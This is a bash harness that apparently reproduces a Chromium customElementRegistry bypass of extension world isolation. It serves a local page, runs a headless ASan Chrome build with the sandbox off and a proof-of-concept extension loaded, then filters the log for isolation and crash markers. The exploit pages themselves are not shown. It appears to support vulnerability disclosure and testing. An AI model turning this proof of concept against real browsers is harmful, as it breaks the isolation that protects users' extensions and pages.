#!/bin/bash
# Reproduces the SCER customElementRegistry world-isolation bypass.
set -e
HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PORT=18080
PROFILE="$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)"
LOG="$(mktemp /tmp/chrome-poc.XXXXXX.log)"

# Start the web server (background).
python3 "$HERE/server.py" >/dev/null 2>&1 &
SRV=$!
trap 'kill $SRV 2>/dev/null; rm -rf "$PROFILE"' EXIT
sleep 1

# Run Chrome with the POC extension loaded. The extension's content script
# runs in an isolated DOMWrapperWorld; poc.html runs in the main world.
timeout 30 "$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --disable-gpu \
  --user-data-dir="$PROFILE" \
  --disable-extensions-except="$HERE/extension" \
  --load-extension="$HERE/extension" \
  --enable-logging=stderr --v=0 \
  --headless=new \
  --virtual-time-budget=5000 \
  "http://localhost:$PORT/poc.html" > "$LOG" 2>&1 || true

echo "=== POC console output (full log: $LOG) ==="
grep -E 'ISOLATED-WORLD|MAIN-WORLD|FATAL|Check failed|AddressSanitizer' "$LOG" \
  | sed -E 's/^\[[^]]*:INFO:CONSOLE:[0-9]+\] "(.*)", source:.*/\1/' \
  || true